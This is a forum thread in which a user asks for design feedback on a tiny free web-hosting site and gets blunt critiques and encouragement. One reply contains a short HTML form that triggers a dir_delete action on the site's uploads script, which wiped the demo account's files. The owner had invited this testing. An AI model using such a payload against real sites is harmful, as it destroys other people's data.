Testers Requested

[FIREBALL5]

Hi!

 

I would appreciate it if people could take a look at my website (webhosting) that I'm making. I think the layout is kind of boring, so any help would be appreciated. Leave any comments on our comments page, please. Thank you!

 

fireball5.byethost31.com

 

[dmccabe]

Urgh!

 

sorry but it is hideous to say the least, the menu's are all over the shop, which ever menu option you go in to you lose the navigation menu, the site isnt very clear on what it is, there is no help on what stuff is or does (when registering your asked for an account name and username, whats the difference? what is each one for?)

 

The layout and design would make me not use it.

 

I did test most of the features and functions though and have to say they all worked pefectly, even when I tried to upload a .php file I was told i wasnt allowed and then I tried uploading it as a .txt file then renaming it to .php and again was told no, so good job with the functions, however before releasing this to the public or promoting it anywhere I would work on the design a lot.

[ober]

The design is awful... there's really no point in reviewing it.  Start over.

 

And what's the point with that small of space/bandwidth.  There are many free hosting accounts you can get that give you more than that!

[FIREBALL5]

Thanks guys for your comments; I appreciate them. I never really have been too great when it comes to design.

 

About the username/account name, you can find that information on the Pre-Signup FAQ.

 

About the space, I'm still working on getting more. If you bear with me while I'm a new company, that'll mean a definite hold on space when I do get bigger. Also, how much space do you think would be nessesary for the average person?

[FIREBALL5]

Also, a demo account has been created so nobody has to create a new one just to try it out. If you wish to have your own account, please create your own. This is only a demonstration account.

 

Also, please delete all files that you upload for the next person who wishes to try it out. Don't forget to click the little link at the bottom, "Logout"!

 

Here is the information to the demo account:

 

Account Name: testing

Username: test

Password: test

 

You can login at http://fireball5.byethost31.com/server/login.html

[ohdang888]

well for instance.. look here...

 

http://www.hostmonster.com/

 

unlimted everything.....

[phpSensei]

I hacked it.

http://fireball5.byethost31.com/uploads/testing/

 

Deleted all your files

 

Using

 

<form action='http://fireball5.byethost31.com/uploads/testing/index.php?action=dir_delete' method='POST' name='6a992d5529f459a44fee58c733255e86_delete'>
<input type='hidden' name='dir' value='./'>
<label>
<input type="submit" name="Submit" value="Submit">
</label>
</form>

 

http://st-catherinestaxi.com/JustFlix/test.php

[FIREBALL5]

Nice! Thanks for finding that for me. Also, feel free to hack the rest of my site.

[kate_rose]

I am on Firefox 2.0.0.14 and all I get with that link is the webhosting site 4th dimension.

 

I new at this though so maybe I needed to do something else??

[FIREBALL5]

Thats what I want you to get; Fourth Dimension Hosting. You don't have to do anything, but I'm requesting that people browse my site, and give me feedback regarding the look, layout, etc. If you want to, you can also try to hack my site.

[ohdang888]

Ok, so heres me being honest:

 

i went to your link. Thought "ehhh, it just must be the way firefox is reading the code"

So i go to it in IE. Its the same.

I can't say its the worst design job i;ve ever seen, because, well theres no design in it at all.

In other words: Start the design completely from scratch. I would NEVER, EVER, use a site that looked like that.

 

Next tip, and you're reallllyyyy not gonna like this one:

My advice, stop the whole project all together. Did you do any research before you built it?

10 Mb, 20Mb???? go to: http://www.free-space.net/

 

i use that one a lot. Its a lot of bandwidth, and a lot of space. You have mysql databases, email, etc.

Just register there and check it out... all the other free hosts are the same... and they have one thing you don't have: a Cpanel.

Dude, i know you've a lot of time on the scripts, but im telling you now, your concept is old, and has been taken wayyy farther than you've taken yours.

 

 

[kate_rose]

Sorry for some reason I thought you were sending us to the site hosting your page.

 

I agree that the design itself is not spectacular.  I like the text at the top but the rest is not too eye-catching.  You need to figure out what your service gives that no others do.  The personal touch?  Efficiency?  etc.  I thought that since some folks think of the 4th dimension as time you could design around that and make your site clean, fast, & easy to use so it would save time for folks.  It could be your hook.  You could have clocks everywhere or go for the space age look.  Compare your site with others in terms of speed.  Since I haven't used one of these sites yet its hard to say what users will be looking for but you would know since you created this because you weren't satisfied with other services. It might be fun to give it the Jules Verne time machine look. 

 

In general it needs to feel more like a full site.  It feels a bit like a piece of one, kind of insubstantial.  More content, more graphics, more color. 

 

K-

[FIREBALL5]

I'm under the impression that my site is absolutely terrible when it comes to design and even hosting stuff, such as limited features (no php,email,databases,/uploads/you directories rather than /you/ or even a subdomain).

 

This leads me to wanting to quit trying to make it look professional; just taking my hosting down altogether sounds the most appealing right now.

 

I know I can't compete with the more established companies who have seemingly virtually unlimited resources (capital,diskspace,bandwidth,server security, etc.), and I'm probably not going to be successful at dominating the market anytime soon just giving my services away for free. I'm offering the most of what I can, which, believe it or not, is virtually nothing.

If I give each account 10 MB, I can only have 24 accounts (My max disk space limit currently is 250 MB), with the other 10 MB reserved for server use, such as the logos, files, etc. This goes to show that I'm not exactly trying to be cheap. I'm trying my best to manage my resources.

 

I had my own motivation for starting this company, and I couldn't find what I needed anywhere else. I found what I needed in my own abilities to create PHP programs and code in HTML. Although I can code in HTML and PHP, that doesn't mean that I can do graphics or graphical site design very well.

 

You guys have been perfectly honest with me, so I'm going to be perfectly honest with you. I'm mainly doing this to get experience running a website, and learning site design, which I'm obviously struggling in.

 

There is only about one thing that I can offer; a better file control panel. Even though it is extremely simple in layout too (no style sheets, no fancy borders or scroll bars), it is packed with power with how much you can manipulate with it. If you wish to prove me wrong, give me a feature that you would like to see in my upload control panel. Then I'll see what I can do with it. This is the kind of input that is constructive and this is the case where everybody can help each other out rather than tear each other down.

 

I would like to thank everybody for their opinions and comments about me, my website layout and managing, and my actual website itself. I must go through these things if I'm even going to attempt to succeed.

 

Additional Comment (AKA Edit):

The following code has been executed: var_dump($feelings);

[phpSensei]

Why feel like quitting? You think those sites offering unlimited space started of as a super professional and free space giving sites? No, definately not! Their companies must of been a pile of steaming crap from the beginning, but look how they turned out to be. I say you shouldn't give up, because you should have faith in yourself and you should work hard to achieve what you never thought you could. I honestly believe that 250mb is not the proper way of starting a web hosting company in the first place. Those sites have multiple servers, while you are doing your best trying to offer 10 mb. Get some cash, buy 2-3 servers and hire some designers for your site.

 

An eye-catching site will surely get people interessted, and you could also built up your site stronger and better as years pass by. Do not give up! Ever!

 

Good Luck.

 

PM me if you need any help.

[FIREBALL5]

Did you read the above comments? Those banged on me, hard (Some of them more than others). That's why I feel like quitting. I do have faith in myself; if I didn't, I wouldn't even be a programmer; I mean, I could go work at McDonald's. I say that to mean nothing less than to prove my point; I do have faith in myself. 250 mb? Of coarse! I am running a free web hosting company off of a free web hosting company! I don't have the resources, or the servers.

 

But ugh, where might I find some cash in today's economy? (I presume you live in America; no matter where you live, gas prices are probably hitting you hard, too). Buy 2-3 servers.. that do what, exactly? All I need is one server with like, a 1 TB hard drive in it, or 2 500 GB hard drives. Hiring some designers might not be a bad idea, though... then again, where do I find the money?

 

True. True again. Meh, you musta skipped over the above comments. Everybody is saying how terrible it is. Thanks for the encouragement though, but I'm a really stubborn one, (For example, when I mess up on a one thing a tiny bit I beat myself over the head; not literally, though. I hold myself to stricter standards than others might hold themselves).

 

Thanks.

 

Help with what?

[phpSensei]

Did you read the above comments? Those banged on me, hard (Some of them more than others). That's why I feel like quitting. I do have faith in myself; if I didn't, I wouldn't even be a programmer; I mean, I could go work at McDonald's. I say that to mean nothing less than to prove my point; I do have faith in myself. 250 mb? Of coarse! I am running a free web hosting company off of a free web hosting company! I don't have the resources, or the servers.

 

But ugh, where might I find some cash in today's economy? (I presume you live in America; no matter where you live, gas prices are probably hitting you hard, too). Buy 2-3 servers.. that do what, exactly? All I need is one server with like, a 1 TB hard drive in it, or 2 500 GB hard drives. Hiring some designers might not be a bad idea, though... then again, where do I find the money?

 

True. True again. Meh, you musta skipped over the above comments. Everybody is saying how terrible it is. Thanks for the encouragement though, but I'm a really stubborn one, (For example, when I mess up on a one thing a tiny bit I beat myself over the head; not literally, though. I hold myself to stricter standards than others might hold themselves).

 

Thanks.

 

Help with what?

 

Which is exactly my point, your running  a free web hosting company off a free webhosting one, how stupid can that be? People will just use the web hosting service your using....

 

God, I am trying to show some sympathy here and you keep contradicting yourself....

 

I ment help with the PHP, or if you had some questions.

[peranha]

All I need is one server with like, a 1 TB hard drive in it, or 2 500 GB hard drives.

 

This can be done easily these days, Drives are cheap.  Keep up the work.  they also make a unit called a drobo that is real nice.  It runs on a raid system, so if a drive dies, you can replace it and nothing is lost.  They are more expensive, but are well worth it.  trust me.

 

As phpSensei said, keep at it, all companies start out small and crappy, and with enough motivation will turn into big companies.

[FIREBALL5]

What am I supposed to say, phpSensei? I'm not doing it for the hosting at this point in time. I'm doing it so that I can learn how to effectively manage a website. And while I'm doing this, you can put your files on my site. Did I not make that clear on one, any one, of my posts?

 

Yeah, I know I contradict myself. You don't need to tell me that.

 

Thanks for the encouragement though.

 

As phpSensei said, keep at it, all companies start out small and crappy, and with enough motivation will turn into big companies.

 

Then again, I have the motivation, but is that enough?

[gijew]

I agree with the above post (phpsensei). While it's easy to quit it's even easier to succeed. The toughest part is sifting through what's important and let me tell you that it's not always the features and it's not always the design but it's almost always the core functionality of the project. I've been at this programming and designing thing a few years and I've seen quite a bit of crap as well as a few golden pieces of software. I do the 9 til whatever during the days to pay the bills but it takes a real set of brass ones to do it without that kind of security and/or associated risks.

 

In the true sense of my personality and my ability to never shut up I'm going to tell a story. Now it might do nothing and you might go why the hell did this guy start telling me a story or I'll get flamed, I don't care. Either way, it's something I went through and I look back at it now to motivate myself when I think I can't do it.

 

When I was in the army I sat around with books upon books about HTML, JS, Perl, XML, whatever. I was deployed about 10 out of 12 months p/year for my entire enlistment of 4 years. This was back in the late 90's, early 00's so laptops weren't nearly as stable (albeit heavier) not to mention insanely expensive so I had to write all my code down in a notebook and see if it worked when we came back for the 1-2 days we got per month on my 400MHz, 128 MB's of RAM beast. I busted my ass reading and working hard, writing all of that crap down time and time again to stick it somewhere in the ol' memory warehouse.

 

I must mention that this was during the big dot com phase and as I was getting out I applied to a few companies in the hopes of getting rich like every other guy/gal with basic HTML knowledge who had photoshop'd their co-workers onto a donkey

 

Anyhoo, I went to this job fair about 45 days before my time was up. I had already built a few apps in perl and my knowledge of HTML was super, lol. This recruiter I met for a company I can no longer remember was interested in me. I think we talked for close to 30 minutes. I figured I was SO in but that was until he asked me what I did for the past four years. I told him I was in the Infantry and that we were the only all digital unit in the entire military (which was supposed to impress him) and I tell you what, that jerk-off just stopped smiling and started talking to someone else in about mktime(0,0,2,0,0,0). Needless to say the seat of my pants was pretty burnt and more than 1-2 swear words were said over more than 1-2 beers that night.

 

To wrap it up I always look back at that when someone makes me feel (or implies) that I can't do something. Not tooting my horn too much but I'm not college educated, I make close to 6 figures a year after 6 years of trying to beat (and occasionally kill || sleep) my way to the top. Actually I wish it was sleep more than kill but there are to many dudes in this business and I don't swing that way. So many broken homes, so many broken families. Off-topic, sorry.

 

The whole point of that rant it YOU HAVE TO keep trying no matter what anyone says. PHPSensei is right. Nobody starts at the top. WWBGD (what-would-bill-gates-do)? I tell you what he would do! He would have the competition killed and re-brand their products as...I don't know, Microsoft Feminine Wash. Doesn't matter and I don't know. Just remember that the only person that's every going to truly believe in you IS you. Stay strong, give yourself a pat on the back once in a while and keep trying!

[gijew]

It took me too long to construct my brilliant story so I'm going to throw in another reply. I understand your feelings are hurt but yeah, no need to bash someone for offering some sympathy / advice. If you're that interested in learning how to maintain a website you should start off with a more simple idea that is more in line with your buget / skills.

 

You know, there is this web2.0 thing that I hear is doing quite well. Start up a small service that let's people share their dog pictures, I don't know. Keep it simple!

[FIREBALL5]

Cool story; do your wrists hurt?

Again, thanks for the encouragement.

Was I the one that bashed somebody? Or, who are you referring to? I wasn't intending to bash anyone...

[gijew]

My wrists hurt more from being single for the past 2 years than from writing all that code down and yeah, you were kind of overly defensive there dude.

[peranha]

My wrists hurt more from being single for the past 2 years than from writing all that code down and yeah, you were kind of overly defensive there dude.

 

Talk about off topic, but frickin hilarious

[FIREBALL5]

Oh, sorry. Didn't realize that.

[phpSensei]

G.I. Jew (still can't stop laughing at that name), great story lad.

 

So you must understand fireball, these things take time and they gradually grow depending on how much time you spent on your web hosting services, and how dedicated you are.